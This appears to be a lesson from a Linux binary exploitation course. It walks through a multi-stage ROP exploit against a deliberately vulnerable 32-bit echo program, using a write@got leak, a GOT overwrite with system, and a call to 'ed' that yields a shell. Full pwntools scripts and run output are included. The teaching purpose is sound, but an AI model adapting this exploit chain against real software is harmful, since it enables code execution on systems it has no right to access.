10. Multi-Stage Exploits
Multi-Stage Exploits
In this section, we will look at crafting a more complicated exploit that relies on multiple stages. Surprisingly, the vulnerable target we are looking at is the most simple of all the ones we have seen so far. It is precisely the lack of flexibility we have with such a simple target that forces us to adopt a more sophiscated exploit strategy.
#include <unistd.h>
#include <stdio.h>
void vuln() {
char buffer[16];
read(0, buffer, 100);
write(1, buffer, 16);
}
int main() {
vuln();
}
It is very simple. It simply echoes your input. It is vulnerable to a standard buffer overflow but ASLR and NX are enabled which means the only things you have to work with is read
, write
, and the gadgets that are present in the tiny binary.
amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable
Hello World
Hello World
Crafting the Exploit Step by Step
First, as we always do, we need a skeleton script to give us our EIP control.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_vulnerable")
payload = "A"*28 + p32(0xdeadc0de)
p.send(payload)
p.interactive()
if __name__ == "__main__":
main()
Next, we would like to try and leak a libc address. We can achieve this by creating fake stack frames that execute write(STDOUT, write@got, 4)
. This will print 4 bytes of the write@got address to stdout which we can receive on our exploit script.
#!/usr/bin/python
from pwn import *
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b
read_plt = 0x08048300
write_plt = 0x08048320
write_got = 0x0804a014
def main():
p = process("../build/1_vulnerable")
# Craft payload
payload = "A"*28
payload += p32(write_plt)
payload += p32(0xdeadbeef)
payload += p32(1) # STDOUT
payload += p32(write_got)
payload += p32(4)
p.send(payload)
# Clear the 16 bytes written on vuln end
p.recv(16)
# Parse the leak
leak = p.recv(4)
write_addr = u32(leak)
log.info("write_addr: 0x%x" % write_addr)
p.interactive()
if __name__ == "__main__":
main()
This works easily enough to get us that leak.
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py
[+] Starting local process '../build/1_vulnerable': Done
[*] write_addr: 0xf76569f0
[*] Switching to interactive mode
$ [*] Got EOF while reading in interactive
[*] Process '../build/1_vulnerable' stopped with exit code -11
[*] Got EOF while sending in interactive
The Killing Blow
Now, remember that what we are doing is creating a rop chain with these PLT stubs. However, if we just return into functions after functions, it is not going to work very well since the parameters on the stack are not cleaned up. We have to handle that somehow.
This is where the pop pop ret
gadgets come in. They allow us to advance the stack and make sure our faked stack frames are coherent. We need a pop pop pop ret
sequence because our write
call had 3 parameters.
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable
... snip ..
0x080484e9: pop esi; pop edi; pop ebp; ret;
... snip ..
What should we do next then? What we want to do is overwrite a GOT entry so that we can execute system. Now, we can leverage the fact that a read
call is basically an arbitrary write primitive. So our entire rop chain sequence would look something like this:
write(1, write@got, 4)
- Leaks the libc address of writeread(0, write@got, 4)
- Read 4 bytes of input from us into the write GOT entry.system(some_cmd)
- Execute a command of ours and hopefully get shell
Now, of course we have a possible issue. Since our ROP chain would have to include the address of the command on the first read, we have two choices:
Expend another read sequence to write "/bin/sh" somewhere in memory
Use an alternative command (such as ed)
Option 1 is not feasible as it takes 20 bytes to construct a frame for read. This is a heavily cost when we only have 72 bytes to play with. So, we have to go with Option 2 which is easy enough to get.
gdb-peda$ find ed
Searching for 'ed' in: None ranges
Found 393 results, display max 256 items:
1_vulnerable : 0x8048243 --> 0x72006465 ('ed')
1_vulnerable : 0x8049243 --> 0x72006465 ('ed')
With all of the information in hand, we can write our exploit:
#!/usr/bin/python
from pwn import *
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b
read_plt = 0x08048300
write_plt = 0x08048320
write_got = 0x0804a014
new_system_plt = write_plt
pppr = 0x080484e9
ed_str = 0x8048243
def main():
p = process("../build/1_vulnerable")
# Craft payload
payload = "A"*28
payload += p32(write_plt) # 1. write(1, write_got, 4)
payload += p32(pppr)
payload += p32(1) # STDOUT
payload += p32(write_got)
payload += p32(4)
payload += p32(read_plt) # 2. read(0, write_got, 4)
payload += p32(pppr)
payload += p32(0) # STDIN
payload += p32(write_got)
payload += p32(4)
payload += p32(new_system_plt) # 3. system("ed")
payload += p32(0xdeadbeef)
payload += p32(ed_str)
p.send(payload)
# Clear the 16 bytes written on vuln end
p.recv(16)
# Parse the leak
leak = p.recv(4)
write_addr = u32(leak)
log.info("write_addr: 0x%x" % write_addr)
# Calculate the important addresses
libc_base = write_addr - offset_write
log.info("libc_base: 0x%x" % libc_base)
system_addr = libc_base + offset_system
log.info("system_addr: 0x%x" % system_addr)
# Send the stage 2
p.send(p32(system_addr))
p.interactive()
if __name__ == "__main__":
main()
Running the exploit:
ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 3_final.py
[+] Starting local process '../build/1_vulnerable': Done
[*] write_addr: 0xf760c9f0
[*] libc_base: 0xf7537000
[*] system_addr: 0xf7571da0
[*] Switching to interactive mode
$ !sh
$ ls -la
total 20
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 19:08 ..
-rw-rw-r-- 1 ubuntu ubuntu 212 Jan 13 18:16 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu 776 Jan 13 18:30 2_leak_system.py
-rw-rw-r-- 1 ubuntu ubuntu 1410 Jan 13 18:50 3_final.py
$
[*] Stopped program '../build/1_vulnerable'
Last updated
Was this helpful?